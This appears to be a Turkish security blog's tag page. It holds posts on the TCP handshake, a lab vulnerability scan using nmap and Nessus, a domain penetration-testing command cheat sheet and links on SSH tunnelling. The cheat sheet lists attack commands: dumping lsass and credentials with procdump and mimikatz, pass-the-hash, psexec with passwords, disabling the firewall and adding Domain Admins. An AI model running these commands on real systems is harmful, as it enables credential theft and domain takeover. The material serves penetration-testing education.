port etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
port etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

29 Aralık 2013 Pazar

Notlar: Üçlü El Sıkışma - Tree Way Handshak

Üçlü El Sıkışma - Three Way Handshake

Ağ üzerinde iki bilgisayar arasında TCP bağlantısının sağlanmasında ilk aşamaya Üçlü El Sıkışma (Tree Way Handshake) denilmektedir. Şimdi bu bağlantının sağlanmasını genel hatları ile anlatalım:
  1. Bağlantıyı başlatacak İstemci bilgisayar TCP segmenti başlığı içerisinde SYN (Synchronize) bitini “1″ set eder. Paketleri kontrol etmek amacıyla bir sıra numarası üretilir. Bu sıra numarasına SEQ.Num. (Sequence Number) denilmektedir. Örneğimizde ilk sıra numarası 3517‘dir. Bu ilk sıra numarası işletim sistemlerine göre farklılık gösterir.
  2. İstemciden gönderilen paketi alan Sunucu bağlantı isteğini onaylamak için TCP segmenti başlığı içerisinde SYN+ACK (Acknowledgement) bitlerini “1″ set eder. Sunucu aldığı paketteki sıra numarasını bir artırır 3517+1=3518 bu numara İstemci bilgisayarın bir sonraki göndereceği paket numarasıdır. Bu numara değeri ACK.Num. (Acknowledgment Number) alanına yazar. Sunucu da kendi paketlerini kontrol amaçlı bir sıra numarası üretir. Örneğimizde Sunucunun ürettiği ilk sıra numarası da 7349‘dur. Bu sıra numarasını SEQ.Num. alanına yazar ve paketi tekrar İstemciye yollar.
  3. Bağlantı sağlamanın son aşaması olarak İstemci bilgisayarından Sunucu bilgisayarına bir paket daha iletilir. Bu pakette TCP segmenti başlığı içerisinde ACK biti “1″ set edilir. ACK.Num. alanına Sunucu bilgisayarın gönderdiği ACK.Num. değeri 7349 bir artırılarak 7349+1=7350 yazılır. SEQ.Num. değeri İstemci bilgisayarın sıradaki paket numarasıdır. Yani İstemci bilgisayarının ilk gönderdiği sıra numarası Sunucu bilgisayarı tarafından bir artırılmış ve İstemci‘ye yeniden  gönderilmiş olan 3518 numarası yazılır ve paket Sunucu bilgisayarına gönderilir.


Toplamda 3 paket ile TCP bağlantısı sağlanmış olur.

Bağlantı sağlandıktan sonra artık paketler tek tek gönderilmez. Bundan sonraki paketler örneğin iletilecek dosyanın büyüklüğü, ağ hızı vb. etkenler göz önünde bulundurularak işletim sistemine göre belirli bir algoritma ile iletişim devam eder.

Üçlü el sıkışma ile ilgili özet bir gösterim şu şekildedir:




Üçlü el sıkışmayı daha iyi anlamak için TCP başlığını incelemek gerekebilir. TCP başlığı ise şu şekildedir:



Örnek - 1:
Daha açıklayıcı olması için bu 3 adımı Wireshark ile gösterelim. Yukarıdaki anlatımdan tek farkı SEQ.Num. ve ACK.Num. değerleridir.

1. Adım:



2.Adım:


3.Adım:



NOT: Önemli bir hatırlatma yapmakta fayda vardır. Wireshark programı paketlerin kolay incelenmesini sağlamak amacı ile SEQ.Num. değerini varsayılan ayarlarında sıfır “0″ olarak başlatır. Bu ayarı devre dışı bırakıp SEQ.Num. değerinin orjinal numarasını görmek için ayarlama yapmak gerekir. Bu ayar için Wireshark > Edit > Preferences… > Protokols > TCP seçilir ve sağ pencereden Relative sequence numbers: kutusunda bulunan işaret kaldırılır.

Örnek -2:
Bir başka örnek olarak da aşağıdaki iletişim kullanılabilir:

"yahoo.com" adresine gidilirken elde edilen bu paketteki 10 adım şu şekilde özetlenebilir:
1. Paket: Varsayılan ağ geçidinin IP adresi (10.0.0.138) aranır. Bu amaçla ARP yayını (broadcast) gerçekleştirilir.
2. Paket: Yayına, ağ geçidinin MAC adresi ile cevap (ARP unicast) verilir. Aynı ağda MAC adresleri ile iletişim kurulduğundan MAC yollanmıştır. MAC'in bilgisayarın ARP tablosunda olmadığı varsayılmıştır.
3. Paket: Hedef adresin DNS A kaydı sorgulanır. IPv4 adresi öğrenilmek istenmiştir.
4. Paket: Hedef adresin DNS AAAA kaydı sorgulanır. IPv6 adresi öğrenilmek istenmiştir.
5. Paket: Hedef adresin DNS A kaydı cevabı verilir.
6. Paket: Hedef adresin DNS AAAA kaydı cevabı verilir.
7. Paket: Hedef IP adresinin 80. portuna SYN gönderilir.
8. Paket: Hedef IP adresinin 80. portundan SYN ve ACK paketleri alınır.
9. Paket: Hedef IP adresinin 80. portuna ACK gönderilir.
10. Paket: İlk HTTP GET talebi gönderilir.

Kaynak:
http://siberblog.org/index.php/three-way-handshake-uclu-el-sikisma/

2 Aralık 2012 Pazar

İpucu: Zafiyet Taramasının Gerçekleştirilmesi


Zafiyet Taramasının Gerçekleştirilmesi

Amaç
  • Sistemler hakkında daha fazla bilgi edinilecektir. 
  • Açık portlar ve çalışan servisler bulunacaktır.
  • İşletim sistemi hakkında bilgi edinilecektir.
  • Sistemler zafiyet taramasından geçirilecek ve zafiyetler belirlenecektir.
  • Sistemlere sızmak için yol haritası oluşturulacaktır.

Yöntem
Zafiyet taraması; port taraması yapıldıktan sonra veya direk olarak zafiyet tarama aracı kullanılarak gerçekleştirilebilir.
Port taraması Nmap/zenmap gibi bir program ile gerçekleştirilebilir:
Zenmap kullanılarak tarama işleminin gerçekleştirilmesi

Özet bir port taraması sonucu aşağıdaki gibidir:

nmap -sS -p 1-65535 -A -v -Pn 192.168.72.201

Host script results: 
|   nbstat:  
|   NetBIOS name: XPSP2-1, NetBIOS user: <unknown>, NetBIOS MAC: 09:0c:09:0a:4e:8f (VMware) 
|   Names 
|     XPSP2-1<00>          Flags: <unique><active> 
|     XPSP2-1<20>          Flags: <unique><active> 
|     DOJO<00>             Flags: <group><active> 
|     DOJO<1e>             Flags: <group><active> 
|     DOJO<1d>             Flags: <unique><active> 
|_    \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active> 
|_smbv2-enabled: Server doesn't support SMBv2 protocol 
| smb-security-mode: 
|   Account that was used for smb scripts: guest 
|   User-level authentication 
|   SMB Security: Challenge/response passwords supported 
|_  Message signing disabled (dangerous, but default) 
| smb-os-discovery:  
|   OS: Windows XP (Windows 2000 LAN Manager) 
|   Computer name: xpsp2-1 
|   Domain name: DOJO.LOCAL 
|   Forest name: DOJO.LOCAL 
|   FQDN: xpsp2-1.DOJO.LOCAL 
|   NetBIOS computer name: XPSP2-1 
|   NetBIOS domain name: DOJO 
|_  System time: 2012-07-30 11:58:22 UTC+3
PORT                   STATE                        SERVICE VERSION
21/tcp                   open                            tcpwrapped 
135/tcp                 open                            msrpc   Microsoft Windows RPC
139/tcp                 open                            netbios-ssn 
445/tcp                 open                            microsoft-ds Microsoft Windows XP microsoft-ds
3389/tcp               open                            tcpwrapped

Not: Nmap port taraması ve aktif bilgi toplama işlemleri hakkında ayrıntılı bilgi için bakınız.

Port taramasından sonra sistemdeki açıklıklar incelenmeye başlanır. Nessus gibi bir açıklık tarama programı ile zafiyet taraması gerçekleştirilir. Zafiyet taraması için öncelikle yeni bir politika oluşturulur. Genel ayarlamalar aşağıdaki gibi olabilir:
Nessus üzerinde politika oluşturulması

Not: “Plugins” kısmından “DOS” iptal edilmelidir. Aksi halde, hedef sistemin erişilebilirliğinde aksaklıklar yaşanabilir.
Politika oluşturulduktan sonra tarama işlemi gerçekleştirilir:

Nessus üzerinde tarama işleminin başlatılması

Tarama sonucu elde edilen rapor aşağıdaki gibidir:
Nessus tarama rapor sonucu

Uzaktan kod çalıştırmaya olanak sağlayan bazı kritik açıklıklar şunlardır:
  • MS09-001 / Critical: Vulnerabilities in SMB Could Allow Remote Code Execution (958687)
  • MS08-067 / Critical: Vulnerability in Server Service Could Allow Remote Code Execution (958644)
  • MS05-051 / Critical: Vulnerabilities in MSDTC and COM+ Could Allow Remote Code Execution (902400)
  • MS06-040 / Critical: Vulnerability in Server Service Could Allow Remote Code Execution (921883)
  • MS05-027 / Critical: Vulnerability in Server Message Block Could Allow Remote Code Execution (896422)
  • MS05-035 / Critical: Vulnerability in Microsoft Word Could Allow Remote Code Execution (903672)
  • MS09-050 / Critical: Vulnerabilities in SMBv2 Could Allow Remote Code Execution (975517)
  • MS08-059 / Critical: Vulnerability in Host Integration Server RPC Service Could Allow Remote Code Execution (956695)
  • MS09-004 / Important: Vulnerability in Microsoft SQL Server Could Allow Remote Code Execution (959420)
Not: Nessus kullanımı ile ilgili ayrıntılı bilgi için bakınız: Nessus Kullanım Kitapçığı


Önlem
  • Gerekli olmayan portlar ve servisler kapatılmalıdır. 
  • Açık olan portlara erişim belli IP’lere izin verilmelidir.
  • Belli periyotlarla zafiyet taraması gerçekleştirilmeli ve zafiyetler giderilmelidir.
  • Daha sonra kurulumu gerçekleştirilecek olan sistemlerde mevcut zafiyetler göz önünde bulundurularak gerekli çalışmalar yapılmalıdır.

6 Ekim 2012 Cumartesi

Etki Alanı Sızma Testlerinde Kullanılabilecek Komutlar

Etki Alanı Sızma Testlerinde Kullanılabilecek Komutlar
Oturumunda Olunan Kullanıcının Adı
whoami
echo %computername%\%username%

Kullanıcıya Ait Tüm Bilgiler
whoami /all

Açık portlar
netstat -ano -p TCP

Açık portlar (Saniyede bir güncellenir)
netstat -ano 1

Açık portu kullanan uygulama
netstat -abf
Örnek: TCP 192.168.0.97:2854 193.140.13.200:imaps ESTABLISHED [OUTLOOK.EXE]

RDP ile bağlanılan makineler
netstat -ano | findstr 3389 | findstr /v 0.0.0.0:3389

Zamanlanmış görevler
schtasks /query /fo LIST /v | findstr "Folder: HostName: Author: Run: TaskName: Comment:"

Zamanlanmış görev oluşturma
at \\192.168.32.62 15:00 "cmd.exe"

Çalışan servislerin listelenmesi
sc query
sc queryex            (PID değeri de içerir)

Bir servisi kapatma
net stop PolicyAgent

Servisleri Listeleme
wmic service get name, displayname, started | findstr /C:Term

Remote Desktop'u etkinleştirmek
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall set service remotedesktop enable

Remote Assistant'ı etkinleştirmek
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f

Başka bir kullanıcı gibi komut satırını çalıştırma
runas /env /user:FENER\alex cmd

Bir servisi disable etme
sc config PlugPlay start= disabled
(Power, PlugPlay gibi kapatılamayan servisler devre dış bırakılıp, makine yeniden başlatılırsa bu servis çalışmaz.)
net stop TermService

Çalışan prosesleri servisine göre listeleme ve filtreleme
tasklist SVC | findstr /I "msseces.exe"

Çalışan proseslerin detayları
wmic process where (executablepath like "%system32%" and name!="svchost.exe" or Priority = "8" ) get HandleCount, Name, ParentProcessId, Priority, ProcessId, ThreadCount /Every:3 >  C:\Users\DenemeKullanici\Desktop\Sonuc.txt

Çalışan prosesi öldürme
taskkill /F /T /IM filezillaftp.exe

Uzaktaki Bilgisayarın Sistemi
psinfo \\172.16.4.230 -h -s -d

SYSTEM kullanıcı hakkını elde etme
PSEXEC -s cmd.exe

Uzaktaki Bilgisayarın Komut Satırına Geçmek
psexec \\172.16.4.230 -u FENER\alex -p 1907?Fenerbahce cmd.exe -i 0

Uzaktaki Bilgisayarda çalışan prosesler
tasklist /V /S 172.16.72.129 /U FENER\alex /P 1907?Fenerbahce

Makinede Açık Olan Tüm Oturumlar
query session
qwinsta

Oturumu açık kullanıcıları elde etme
query session /server:MSGE-PC

3 nolu oturumu düşürme
reset session 3 /server:MSGE-PC

Grup İlkesinin Güncellenmesi
gpupdate /force

Grup İlkesi
gpresult /z
gpresult /H C:\Users\UygulananIlke.html

Denetim Kurallarını elde etme
auditpol /get /category:*

Bir Registry kaydını elde etme
reg query HKLM\System\CurrentControlSet\Control\Lsa /v crashonauditfail

Bir Audit kaydını düzenleme
auditpol /set /subcategory:"IPsec Driver" /success:enable /failure:disable

Belli isimdeki bir dosyanın / klasörün aranması
dir H:/Muziklerim /s /b | findstr Sezen > liste.txt
tree H:/Muziklerim /F  | findstr Sezen > liste.txt

Parola politikası
net accounts
net accounts /uniquepw:5

Güvenlik duvarını aktifliğini kontrol etme
netsh firewall show opmode
netsh advfirewall show allprofiles

Güvenlik duvarını etkinsizleştirme
netsh advfirewall set allprofiles state off
netsh firewall set opmode mode=DISABLE
netsh advfirewall set currentprofile state off

Düşürülen paketleri loglama
netsh firewall set logging droppedpackets = enable
netsh firewall set logging connections = enable
Logların düştüğü dizin:          %systemroot%\System32\LogFiles\Firewall\pfirewall.log

Kayıtlı kritik bilgileri elde etme
Get-ChildItem -Path C:\docs, C:\inetpub, C:\PerfLogs, C:\ProgramData, C:\Users -Include *.txt,  *.log, *.bat, *.reg, *.cs, *.sql, *.ps1, *.config, *.properties  -Recurse | Select-String -Pattern Password, password, Sifre, sifre, Parola, parola, Şifre, şifre, root, admin -casesensitive > C:\Windows\_Arama.txt
Uzantılar: txt, log, bat, reg, cs, sql, ps1, config, properties , ora, xml, java, doc, docx, pdf, xls, xlsx, csv, html, xhtml, htm, cmd, php, py, rb, sh, vbs, c, cfg, mhtml, asp, aspx, jsp, pl, eml, ini, inf
Kaynak: http://en.wikipedia.org/wiki/List_of_file_formats

Kullanıcı & Grup işlemleri
net user --> Tüm yerel kullanıcılar listelenir.
net user YeniKullanici --> Belli bir yerel kullanıcının özellikleri listelenir.
net user YeniKullanici Deneme123. /add
net localgroup
net localgroup "Remote Desktop Users"
net localgroup Administrators YeniKullanici /add
net user /domain
net user YeniHesap /domain
net user YeniHesap Deneme123. /domain /add
net group /domain
net group "Domain Admins" /domain
net group "Domain Admins" YeniHesap /domain /add

Bilgisayar işlemleri
net group "Domain Computers" /domain
net group "Domain Controllers" /domain
Get-ADComputer -Filter { OperatingSystem -Like '*XP*' } -Properties OperatingSystem | Format-Table Name, OperatingSystem -Wrap -Auto

Bağlı Olunan Domain Controller
echo %LOGONSERVER%
systeminfo | findstr "Domain:"

Windows Güven İlişkileri
nltest /domain_trusts --> Tüm güven ilişkilerini listeler
nltest /dcname:Sirket --> Belli bir domaindeki PDC sunucusunu sorgular.
([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).Domains --> Forest içerisindeki tüm domain'ler listelenir.
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() --> Mevcut domain için tüm güven ilişkileri (Parent-Child, 2 yönlü vs) listelenir.


Saldırı amaçlı komutlar
net use \\<Win_IP>\C$ /user:<WORKGROUP>\Tubitak  Aa123456
psexec \\<Win_IP> -u WORKGROUP\tubitak -p Aa123456 cmd.exe
mimikatz > privilege::debug > sekurlsa::logonPasswords
wce -s WORKGROUP:Administrator:<LM>:<NTLM>

procdump -accepteula -ma lsass.exe lsass.dmp
mimikatz > sekurlsa::minidump lsass.dmp > sekurlsa::logonPasswords

net time \\<Win_IP>
at \\<Win_IP> 10:32 C:\Yeni_Klasor\Procdump_Betik.bat
@echo off
C:\Yeni_Klasor\procdump.exe -accepteula -ma lsass.exe C:\Yeni_Klasor\Hedef_LSASS.dmp

Komut Satırı: Network Komutları

Network İle İlgili Komutlar

22. porttan RDP servisinin çalıştırılması

REG ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x16 /f

443. porttan gelen talepleri dinleme
tcpdump -nnvi eth0 proto TCP and port 443


Okunası Makaleler: SSH / Tünel

SSH / Tünel Makaleleri

SSH Tunneling ile Güvenli Surf ve SSH Port Forwarding

Kaynak site:
http://www.syslogs.org/ssh-tunneling-ile-guvenli-surf-ve-ssh-port-forwarding/

Survey Finds Secure Sites Not So Secure
Kaynak site:
https://threatpost.com/en_us/blogs/survey-finds-secure-sites-not-so-secure-042712

SSH Nedir? SSH Ne Demektir? SSH Hakkında Bilgi
Kaynak site:
http://www.pcrehberi.org/14/05/2011/bilgisayar-temel-bilgileri/ssh-nedir-ssh-ne-demektir-ssh-hakkinda-bilgi.html/

VPN vs. SSH Tunnel: Which Is More Secure?
Kaynak site:
http://www.howtogeek.com/118145/vpn-vs.-ssh-tunnel-which-is-more-secure/

Top 20 OpenSSH Server Best Security Practices
Kaynak site:
http://www.cyberciti.biz/tips/linux-unix-bsd-openssh-server-best-practices.html


SSH Tünelleme ile İçerik Filtreleyicileri Atlatmak
Kaynak site:
http://www.bga.com.tr/calismalar/ssh_proxy.pdf